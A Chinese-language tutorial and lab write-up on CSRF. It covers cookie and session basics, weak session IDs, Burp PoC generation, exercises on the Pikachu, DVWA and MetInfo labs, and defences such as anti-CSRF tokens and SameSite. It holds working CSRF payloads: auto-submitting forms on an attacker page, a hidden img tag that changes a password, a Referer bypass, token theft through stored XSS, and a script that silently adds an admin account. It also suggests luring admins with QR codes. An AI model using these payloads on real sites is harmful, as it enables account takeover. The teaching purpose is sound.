CSRF漏洞

1.基础知识

1.1 Cookie与Session

Cookie 是由服务器生成、保存在客户端浏览器中的一小段数据,用于在无状态的 HTTP 协议中维持用户状态。

核心特性

  • 存储位置:客户端(浏览器)
  • 生命周期:可设置过期时间
  • 每次请求:浏览器会自动携带符合规则的 Cookie
  • 大小限制:单个 Cookie 一般 ≤ 4KB

常见用途

  • 用户登录态标识(SessionID)
  • 用户偏好设置(语言、主题)
  • 行为跟踪(统计、广告)

基本流程

  1. 用户首次访问网站
  2. 服务器通过响应头下发 Cookie:
Set-Cookie: SESSIONID=abc123; Path=/; HttpOnly
  1. 浏览器保存 Cookie
  2. 后续访问同一站点时,浏览器自动携带:
Cookie: SESSIONID=abc123

服务器据此识别用户身份。

1.Path / Domain

  • Path:指定 Cookie 生效路径
  • Domain:指定 Cookie 生效域名

错误配置可能导致 Cookie 被非预期页面携带。

2.Secure

Set-Cookie: SESSIONID=abc; Secure
  • 仅允许 HTTPS 传输
  • 防止明文 HTTP 被中间人窃取

3.HttpOnly

Set-Cookie: SESSIONID=abc; HttpOnly
  • 禁止 JavaScript 读取 Cookie
  • 主要防御 XSS 窃取 Cookie

注意: HttpOnly 不能防 CSRF,因为 CSRF 不需要读取 Cookie。

4.SameSite(与 CSRF 强相关)

Set-Cookie: SESSIONID=abc; SameSite=Lax
  • Strict:完全禁止跨站携带
  • Lax:允许部分安全场景
  • None:允许跨站(必须配合 Secure)

是浏览器层面防 CSRF 的重要手段。

1.1.2 Session

1.1.2.1 Session 的基本概念

Session 是存储在服务器端的一种会话机制,用于保存用户的登录状态和临时数据。

核心特性

  • 存储位置:服务器
  • 客户端只保存一个 Session 标识符(SessionID)
  • 安全性高于直接存 Cookie
1.1.2.2 Session 的工作原理

典型流程

  1. 用户登录成功
  2. 服务器创建 Session:
SessionID = random()
SessionData = { user_id: 1001 }
  1. SessionID 通过 Cookie 返回给客户端
  2. 客户端后续请求携带 SessionID
  3. 服务器通过 SessionID 查找 Session 数据

一句话概括:

Cookie 是“钥匙”,Session 是“保险箱”。

常见组合方式

项目 Cookie Session
存储位置 客户端 服务端
是否敏感 不应存敏感数据 可存敏感数据
是否自动发送
是否 CSRF 风险点

CSRF 正是利用了 Cookie 的“自动携带”特性。

1.1.4 Session 与 CSRF 的关系

为什么 Session 会被 CSRF 利用?

因为:

  • Session 依赖 Cookie 中的 SessionID
  • 浏览器跨站请求仍会自动携带 Cookie
  • 服务器仅通过 Session 判断“是否登录”

所以:

服务器以为是用户操作
实际上是攻击者诱导的请求

1.1.5 Session 的安全问题

1.1.5.1 会话固定(Session Fixation)
  • 攻击者提前设置 SessionID
  • 用户登录后仍使用该 SessionID

攻击者在用户登录前,先让用户使用一个已知的 SessionID,而应用在用户成功登录后没有重新生成新的 SessionID,导致攻击者可以继续使用这个已知的 SessionID,从而冒充已登录用户进行操作。

1.1.5.2 会话不过期
  • 退出登录后 Session 仍有效
  • 浏览器关闭后仍可复用

会显著提高 CSRF 风险。

1.1.5.3 Session 泄露
  • 明文 HTTP
  • XSS 窃取 Cookie
  • 日志泄露

1.1.6 Session靶场实战

弱会话是指用户访问服务器的时候,一般服务器都会分配一个身份证session id给用户,用于标识。用户拿到session id后就会保存到cookie中,之后拿cookie在访问服务器时,服务器就知道你是谁了。

但session id过于简单就会容易被人伪造。根本不需要知道用户的密码就能访问用户服务器的内容。

1.1.6.1 low

源码分析:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    //服务器每次生成的session_id加1给客户端
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

漏洞复现: 如果session中的last_session_id不存在就设为0,生成cookie时就在cookies上dvwasessionId+1 首先点击按钮用burp抓包 抓包 将抓到的cookie复制下来: Cookie: dvwaSession=1; PHPSESSID=ha1df1ke8hmua8h2d9pd7j11qb; security=low 然后新打开一个页面,将刚才复制的cookie加入就可以实现直接登录不需要输密码(在这里需要清楚浏览器的cookie值) 后续流程

  • PHPSESSID 是PHP内置的会话管理机制,用于通用的会话跟踪,如用户登录状态、会话数据存储等。
  • dvwaSession 是DVWA应用自定义的会话标识符,用于演示和测试特定的会话管理漏洞。通过自定义会话标识符,DVWA可以更灵活地展示不同难度级别的会话管理问题。
  • 在实际的Web应用中,开发者可能会同时使用PHP内置的会话管理机制和自定义的会话标识符,以满足不同的需求。
1.1.6.2 medium

源码分析:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    //返回当前时间的Unix时间戳,并格式化为日期
    //time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数
    setcookie("dvwaSession", $cookie_value);
}
?>

这里通过时间戳来生成的session,可以通过时间戳转换工具生成时间戳绕过 时间戳生成工具 漏洞复现: 抓包,保存cookie信息 获取cookie信息

Cookie: dvwaSession=1679300781; PHPSESSID=9g6n98glasehppc1148qa3hdr6; security=medium

打开新标签页清空cookie信息,抓包访问靶场的弱会话地址,修改包中的cookie信息 改包放行 成功访问

1.1.6.3 high

源码分析:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
    /*
    setcookie(name,value,expire,path,domain,secure,httponly)
    参数                  描述
    name         必需。规定cookie的名称。
    value         必需。规定cookie的值。
    expire       可选。规定cookie的有效期。
    path         可选。规定cookie的服务器路径。
    domain         可选。规定cookie的域名。
    secure         可选。规定是否通过安全的HTTPS连接来传输cookie。
    httponly     可选。规定是否Cookie仅可通过HTTP协议访问。
    */
}

?>

发现sessionId,这种使用了md5解密进行尝试发现是个2,猜测可能是low级别上进行md5加密 查看 查看session的值是low的进行md5加密 其余操作步骤和low相同

1.1.6.4 impossible

源码分析:

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    //随机数+时间戳+固定字符impossible在进行sha1运算
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

这里$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算,完全不能猜测到dvwaSession的值。

1.2 CSRF 简介

CSRF(Cross-Site Request Forgery,跨站请求伪造) 是一种利用用户已登录身份,在用户不知情的情况下,强制其浏览器向目标站点发起非本意请求的攻击方式。

CSRF 的本质特点是:

  • 不直接攻击服务器
  • 不窃取用户 Cookie
  • 而是冒充用户身份执行合法操作

产生 CSRF 的根本原因通常是:

  • 服务端仅依赖 Cookie 进行身份认证
  • 请求中缺乏有效的来源校验机制(如 CSRF Token、Referer / Origin 校验)

1.3 CSRF 的基本原理

绝大多数 Web 应用使用 Cookie / Session 来识别用户身份:

  1. 用户登录目标网站 A
  2. 浏览器保存身份 Cookie
  3. 后续请求自动携带 Cookie 完成授权

CSRF 正是利用了浏览器的这一“自动携带 Cookie”行为。

攻击者通过诱导用户访问恶意页面,使用户浏览器在携带合法 Cookie 的情况下,向目标网站发送攻击者构造的请求,从而完成操作。

可以理解为:

攻击者借用了你的“登录态”,而不是偷走了你的“登录态”。

a3a83c03-a4df-42b0-b539-bf48c94dd1ac

1.4 一次 CSRF 攻击成立的必要条件

从流程上看,完成一次 CSRF 攻击,受害者需要满足以下两个步骤:

  1. 已登录受信任网站 A(浏览器中存在有效 Cookie)
  2. 在未登出 A 的情况下,访问攻击者控制的网站 B
用户浏览器(携带 Cookie)
        ↓
  恶意页面构造请求
        ↓
  目标网站 A 误认为是合法用户操作

1.5 CSRF攻击示例

下面通过一个最简单的“修改密码”功能,演示 CSRF 是如何成立的。

1.5.1 示例场景说明

  • 目标网站 A:http://victim.com
  • 已登录用户:浏览器中存在合法 SESSIONID
  • 功能点:修改用户密码
  • 问题:接口仅依赖 Cookie,无 CSRF 防护

1.5.2 目标网站 A:存在 CSRF 漏洞的接口

后端示例(PHP)

<?php
session_start();

/* 假设用户已登录 */
if (!isset($_SESSION['user'])) {
    die("not login");
}

/* 修改密码接口 */
if ($_POST['new_password']) {
    // 无 token / referer 校验
    $new_password = $_POST['new_password'];
    file_put_contents("/tmp/password.txt", $new_password);
    echo "password changed";
}
?>

正常用户请求

POST /change_password.php HTTP/1.1
Host: victim.com
Cookie: PHPSESSID=abcdef123456
Content-Type: application/x-www-form-urlencoded

new_password=123456

浏览器会自动携带 Cookie,服务器判断用户已登录 → 修改成功。

1.5.3 攻击者构造 CSRF 页面(网站 B)

攻击者在自己的网站 http://evil.com/csrf.html 放置如下内容:

<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>

<form action="http://victim.com/change_password.php" method="POST" id="csrf">
    <input type="hidden" name="new_password" value="hacked123">
</form>

<script>
    document.getElementById("csrf").submit();
</script>

</body>
</html>

1.5.4 CSRF 攻击过程

  1. 用户已登录 victim.com
  2. 浏览器中保存着合法 Cookie
  3. 用户访问 evil.com/csrf.html
  4. 表单被自动提交
  5. 浏览器自动携带 victim.com 的 Cookie
  6. 服务器误以为是用户本人操作

密码被悄无声息地修改

1.5.5 关键点总结

  • 攻击者 没有 Cookie
  • 攻击者 看不到响应
  • 但浏览器 替攻击者完成了请求

CSRF 的核心不是“伪造请求”,而是利用浏览器自动携带身份凭证的特性

1.6 CSRF 能造成的危害

CSRF 攻击的目标是引起服务器状态变化,例如:

  • 修改密码 / 邮箱 / 手机号
  • 新增或删除用户(如管理员操作)
  • 发送站内消息、邮件
  • 购买商品、虚拟货币转账
  • 修改账号权限、绑定信息

风险总结:

  • 账号被完全接管
  • 隐私信息泄露
  • 直接财产损失
  • 后台管理功能被滥用

1.7 CSRF 与 XSS 的区别

对比项 CSRF XSS
是否获取 Cookie ❌ 不获取 ✅ 获取
攻击方式 借用用户权限 窃取用户权限
依赖用户行为 必须 不一定
是否跨站 不一定
控制程度 间接 直接

核心区别一句话:

  • XSS:我拿到了你的权限,然后为所欲为
  • CSRF:我没拿你的权限,但你替我做了事

1.8 渗透测试中如何寻找潜在的 CSRF 漏洞

凡是“会导致服务器状态变化”的功能点,且“只依赖 Cookie 认证”的,都是 CSRF 的候选目标。

1.8.1 优先关注的功能类型

在渗透测试中,重点盯以下接口:

1.用户相关

  • 修改密码
  • 修改邮箱 / 手机号
  • 修改个人信息
  • 绑定 / 解绑第三方账号
  • 重置安全设置

2.管理 / 高权限操作

  • 新增 / 删除用户
  • 修改用户权限
  • 管理员配置变更
  • 系统设置修改

3.资金 / 资产相关

  • 充值、转账
  • 下单、购买
  • 积分 / 虚拟币操作

只要满足 “改数据” 这三个字,就值得测 CSRF。

1.8.2 判断接口是否“天然容易 CSRF”

对每个可疑接口,快速做如下判断:

1.是否只靠 Cookie 鉴权?

抓包观察请求头:

Cookie: SESSIONID=xxxx

如果没有以下任意一项,风险很高:

  • CSRF Token
  • Referer / Origin 校验
  • 二次认证字段(旧密码、验证码等)

2.请求参数是否完全可控?

例如:

POST /update_email
email=hacker@evil.com

如果参数:

  • 没有动态随机值
  • 没有签名
  • 没有一次性字段

非常适合测试 CSRF

3.会话是否长期有效?

测试点:

  • 退出登录后是否还能操作
  • 浏览器关闭后 Cookie 是否仍有效
  • 长时间不操作是否仍可用

会话越“长命”,CSRF 成功率越高。

1.8.3 快速人工验证 CSRF 的思路

不靠工具,也可以快速判断:

  1. 正常登录目标站点
  2. 复制关键请求
  3. 删除所有非必要头(如 X-Requested-With)
  4. 在浏览器新标签中构造请求(或 HTML 表单)
  5. 只要请求能成功生效 → 高概率 CSRF

1.9 Burp Suite 中 CSRF PoC 的使用方法

Burp 的 CSRF PoC 功能,本质是:帮你快速生成一个“恶意站点页面”

1.9.1 使用 CSRF PoC 的前提

  • 已抓到一个 可疑的状态变更请求
  • 请求是:
    • POST / PUT / DELETE
    • 或 GET(不规范但常见)

1.9.2 操作步骤

1.9.2.1 抓取目标请求

Proxy / HTTP history 中,找到例如:

POST /change_password HTTP/1.1
Host: victim.com
Cookie: SESSIONID=xxxx

new_password=123456
1.9.2.2 生成 CSRF PoC

右键该请求:

Engagement tools
 → Generate CSRF PoC

Burp 会自动生成一个 HTML 页面。

1.9.2.3 查看 Burp 生成的 PoC

常见形式为:

<form action="https://victim.com/change_password" method="POST">
  <input type="hidden" name="new_password" value="123456">
  <input type="submit" value="Submit request">
</form>

<script>
  document.forms[0].submit();
</script>

关键点:

  • 表单方式提交
  • 参数完全复刻原请求
  • 自动提交(模拟用户无感知访问)

1.9.3 如何验证 CSRF 是否真实存在

是否存在 CSRF,不看响应页面,看“数据是否真的变了”

正确验证方式:

  1. 保持用户已登录 victim.com
  2. 将 PoC 保存为本地 HTML 或放到攻击机
  3. 用浏览器访问 PoC
  4. 返回 victim.com 查看:
    • 密码是否被改
    • 信息是否被修改
    • 状态是否发生变化

数据变化 → CSRF 成立

无变化 → 可能存在防护

1.9.4 常见 PoC 失败原因(不是没漏洞)

遇到 PoC 不生效,别急着否定,检查:

  • 是否存在 CSRF Token(且未被带上)
  • 接口是否校验 Referer / Origin
  • 是否要求特定 Header(如 X-Requested-With)
  • 是否使用 JSON / Ajax(需手工改 PoC)

Burp 生成的是通用 PoC,不是万能 PoC。

1.9.5 渗透测试中的实战流程

找状态变更接口
→ 看是否有 Token
→ 无 Token 用 Burp PoC
→ 验证数据是否变化
→ 再分析防御是否可绕过

2.CSRF靶场实战

2.1 Pikachu CSRF

2.1.1 CSRF( GET 型)

image-20260127124730338

提示:这里一共有这么些用户vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456

这里我们使用lili登录后,页面显示了用户的个人信息,下方有一个修改个人信息

image-20260127124825672

点击之后打开了修改个人信息页面,我们将手机号修改为18888888888,开启burp抓包并点击submit按钮

image-20260127125114774

得到下面的GET请求

http://ctf.eagleslab.com:41136/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18888888888&add=111&email=123456&submit=submit

修改一下请求,然后使用同一个浏览器提交,就可以触发信息的更改

http://ctf.eagleslab.com:41136/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=6666&add=usa&email=lucy%40pikachu.com&submit=submit

image-20260127125509374

可以将这个网址生成二维码,或者生成短网址来诱导管理员访问

当然也可以使用burp CSRF Poc来测试

此时我们使用burp直接生成CSRF Poc代码,右键请求包 → Engagement tools → Generate CSRF PoC

image-20260127125253507

点击 Test in browser

image-20260127125332539

复制弹出的URL链接,在浏览器中打开

image-20260127125401099

image-20260127125552520

点击之后页面跳转至个人信息页面,并且手机号已经发生了改变,正常情况下这个CSRF Poc的页面是攻击者生成的,然后发送给受害者进行点击,然后攻击者就可以使用受害者的合法的身份去访问网站(比如修改密码、修改个人信息等)。

2.1.2 CSRF( POST 型)

本关的漏洞利用方式与上一关相同,只是请求方式发生了改变,此处不再赘述,可以再次尝试手动提交和burp构造

image-20260127125749853

2.1.3 CSRF Token

修改个人信息时发现会携带token一起发送,并且会在当前页面的前端代码中生成新的token值

image-20260127130509532

构造一般的PoC肯定不行,本关需要使用burp的插件 CSRF Token Tracker,在Extender里面下载:

CSRF Token Tracker 可以自动获取 csrf 的 token,对于一些有 csrf 限制的请求,它可以绕过该限制,如暴力破解具有 csrf token 的登录请求,在渗透测试过程中CSRF Token的自动更新。

image-20260127130603824

这里代表token的变量名字就叫token,在插件中添加一条规则:

image-20260127130705561

将上文的数据包发送到Repeater,将手机号修改为13333333333发送数据包,查看能否修改

发送请求包后页面出现重定向按钮,我们点击follow跟随跳转

image-20260127131215077

此时响应包中的手机号已经修改成功了

image-20260127131240259

image-20260127131334554

2.2 DVWA CSRF

2.2.1 low

csrf(跨站请求伪造),利用还未过期的用户信息诱骗用户点击链接修改用户信息

image-20260127132103072

源码分析

<?php

if( isset( $_GET[ 'Change' ] ) ) {
 // Get input使用get方式获取两个密码
 $pass_new  = $_GET[ 'password_new' ];
 $pass_conf = $_GET[ 'password_conf' ];

 // Do the passwords match?查看两次密码是否一样
 if( $pass_new == $pass_conf ) {
  // They do!一样的话直接插入数据库
  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  $pass_new = md5( $pass_new );

  // Update the database
  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

  // Feedback for the user
  $html .= "<pre>Password Changed.</pre>";
 }
 else {
  // Issue with passwords matching
  $html .= "<pre>Passwords did not match.</pre>";
 }

 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

get方式获取了两次输入的密码,一致的话直接将数据插入到数据库中 漏洞复现: 首先尝试修改密码

尝试登录

测试原来默认的密码登录失败,新设置的密码在url中可以看到 我们构造链接http://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#在浏览器中访问发现密码就能被重新改回到password(诱骗用户点击)

执行

然后我们登录就可以使用password做密码登录了

2.2.2 medium

源码分析:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    //stripos(str1,str2)检查str2在str1中出现的位置(不区分大小写)如果有//返回ture
    //判断host字段是否出现在referer字段中
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

medium级别的代码检查了保留变量http_referer(http包头的referer参数值,表示来源地址)中是否包含了server_name(http包头的host参数,即要访问的主机名,这里是192.168.23.128),希望通过这种机制抵御csrf攻击 漏洞复现:

抓包查看信息

可以看到数据包中有Referer但在url中没有,这里是urlhttp://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#可以进行查看参数中没有referer。意思是referer中只要出现server_name就可以正常操作

修改参数加入referer

可以看到在hackbr中修改参数密码为password然后添加头信息referer点击执行可以看到成功执行。 也可以自己搭建的恶意网站中是不存在这个的,我们在链接中包含上服务器的地址就能绕过了,我们可以构造一个图片的src中包含服务器地址的文件,

index.html

<img src="http://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

然后存放到自己的网站然后发送链接http://192.168.23.128/192.168.23.128.html给用户一但点击攻击就完成了

成功执行

2.2.3 high

源码分析

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token 加入了token检验机制
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

high级别的代码增加了token检验机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器提交token参数时服务器会在收到token时先检查token,token正确才会处理客户端请求。 漏洞复现: 这里可以利用存储型xss可执行代码获取token,其实是利用xss获取cooki中的token值,所以在这个地方我们使用xss执行。 现在存储型xss中写入语句有长度限制我们F12改限制

存储型xss获取token

这里不要点击确定先复制,然后打开另一个网页打开csrf题输入修改的密码点击提交抓包,不放包发送到repeater中修改token的值点击go跟随查看响应可以看到密码修改了

操作

这种加token的方式由于是后台先把token发送到前端我们可以先获取到向应包中的token替换请求包中的token就能很容易绕过

或者使用burp的插件 CSRF Token Tracker也可以实现类似效果

2.2.4 impossible

源码分析

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    //这里需要输入旧的密码进行校验
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

要求我们先输入就密码再修改,攻击者不知道原始密码的情况下是无法发起攻击的。 防护措施 加入Anti-CSRF,每次向客户端发送一个随机数,当客户端向服务器发送数据时对比随机数从而确定身份 获取当前用户密码,以此判断是否为当前用户操作 二次确认(提示、二次密码、验证码).

2.3 metinfo

内部靶场开启metinfo容器,数据库密码为空,确定就行,设置好管理员账号密码,登录

image-20260127133956021

在网站后台管理员管理处添加管理员并且抓包,在提交的时候可以抓包到如下内容

image-20260127135024848

下面是post提交的部分

POST /admin/admin/save.php?action=add&lang=cn&anyid=47 HTTP/1.1
Host: ctf.eagleslab.com:41138
Content-Length: 1249
Cache-Control: max-age=0
Origin: http://ctf.eagleslab.com:41138
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.eagleslab.com:41138/admin/admin/add.php?lang=cn&anyid=47
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: upgraderemind=1; appsynchronous=1; PHPSESSID=luldvuu7rjf9v6ggdipm9717l8; conav=7; coul=47
Connection: close

useid=test&pass1=test&pass2=test&name=binly+xu&sex=0&tel=11111111111&mobile=1111111111&email=11187%40protonmail.com&qq=&msn=&taobao=&admin_introduction=&admin_group=3&langok=metinfo&langok_cn=cn&langok_en=en&admin_op0=metinfo&admin_op1=add&admin_op2=editor&admin_op3=del&admin_pop=yes&admin_pop1001=1001&admin_pop1002=1002&admin_pop1003=1003&admin_pop1004=1004&admin_pop1005=1005&admin_pop1006=1006&admin_pop1101=1101&admin_pop1102=1102&admin_pop1103=1103&admin_pop1104=1104&admin_pop1105=1105&admin_pop1106=1106&admin_pop1201=1201&admin_pop1202=1202&admin_pop1203=1203&admin_pop1204=1204&admin_pop1301=1301&admin_pop1302=1302&admin_pop1303=1303&admin_pop1304=1304&admin_pop1305=1305&admin_pop1=1&admin_pop2=2&admin_pop3=3&admin_pop25=25&admin_pop31=31&admin_pop32=32&admin_pop33=33&admin_pop36=36&admin_pop42=42&admin_pop43=43&admin_pop49=49&admin_pop44=44&admin_pop50=50&admin_pop45=45&admin_pop46=46&admin_pop47=47&admin_pop9999=9999&admin_pop1401=1401&admin_pop1402=1402&admin_pop1403=1403&admin_pop1404=1404&admin_pop1405=1405&admin_pop1406=1406&admin_pop1505=1505&admin_pop1502=1502&admin_pop1503=1503&admin_pop1504=1504&admin_pop1501=1501&admin_pop1601=1601&admin_pop1604=1604&admin_pop1602=1602&admin_pop1603=1603&submit=%E4%BF%9D%E5%AD%98

这种的利用方式就会比较麻烦,因为是使用的POST方式提交的,可以考虑构造一个假的网页诱导管理员访问 首先生成html文件,此处可以使用chatgpt帮助我们快速生成input页面

image-20260127135057628

这里改成test666,原来的包drop掉

image-20260127134939280

复制url到浏览器提交

image-20260127134421339

image-20260127134914522

查看管理账号这里发现已经增加成功

image-20260127135138903

当然也可以使用javascript,当管理员访问此页面的时候,自动触发提交请求,这样就可以把诱导的网址做成二维码来让管理员扫码或者是点开不做任何操作都能够触发,可以使用AI制作一个神不知鬼不觉的恶意html,只要管理员点击,静默添加账号

window.onload = function() {
  document.getElementById("myForm").submit();
};


# 在给submit添加了id="myForm"之后,在加上这段js代码,就可以触发自动提交

3.CSRF 防御策略

CSRF 的防御目标并不是阻止请求被发送,而是破坏攻击成立的前提条件,核心在于两点:

让攻击者无法预测或构造合法请求参数 强制服务器区分“真实用户意图”与“被诱导请求”

有效的 CSRF 防御应当是多层组合,而非依赖单一机制。

3.1 Anti-CSRF Token(令牌校验)

核心思想: CSRF 攻击无法读取目标站点内容,因此无法获取服务器下发的随机令牌。

工作原理:

  1. 生成

    • 用户登录或首次访问页面时
    • 服务器生成一个高随机、不可预测的 Token
    • Token 与用户 Session 绑定并存储在服务端
  2. 下发

    • 通过以下方式返回给客户端:

      • 表单隐藏字段

        <input type="hidden" name="csrf_token" value="...">
        
      • 自定义 HTTP Header(如 X-CSRF-Token

  3. 校验

    • 所有状态变更请求进入业务逻辑前

    • 服务端对比:

      请求中的 Token == Session 中的 Token
      
  4. 判定

    • 校验成功 → 放行
    • 缺失或不一致 → 直接拒绝

关键安全要求:

  • Token 必须:
    • 随机、不可预测
    • 与会话或用户强绑定
    • 具备生命周期(一次性或短期有效)
  • 禁止:
    • 固定 Token
    • 多用户共用 Token
    • 仅校验存在、不校验值

核心思想: 在浏览器层面阻断“跨站自动携带 Cookie”的行为。

原理:

通过在 Set-Cookie 中声明 SameSite 策略:

Set-Cookie: SESSIONID=xxx; SameSite=Lax; Secure; HttpOnly

策略模式

  • Strict
    • 所有跨站请求均不携带 Cookie
    • 安全性最高,用户体验影响较大
  • Lax(现代浏览器默认)
    • 允许顶级导航 GET 请求携带 Cookie
    • 阻止 POST、iframe、表单等高风险跨站请求

安全价值

  • 从根源上削弱 CSRF 的攻击前提
  • 强烈建议与 CSRF Token 联合使用

3.3 同源校验(Origin / Referer)

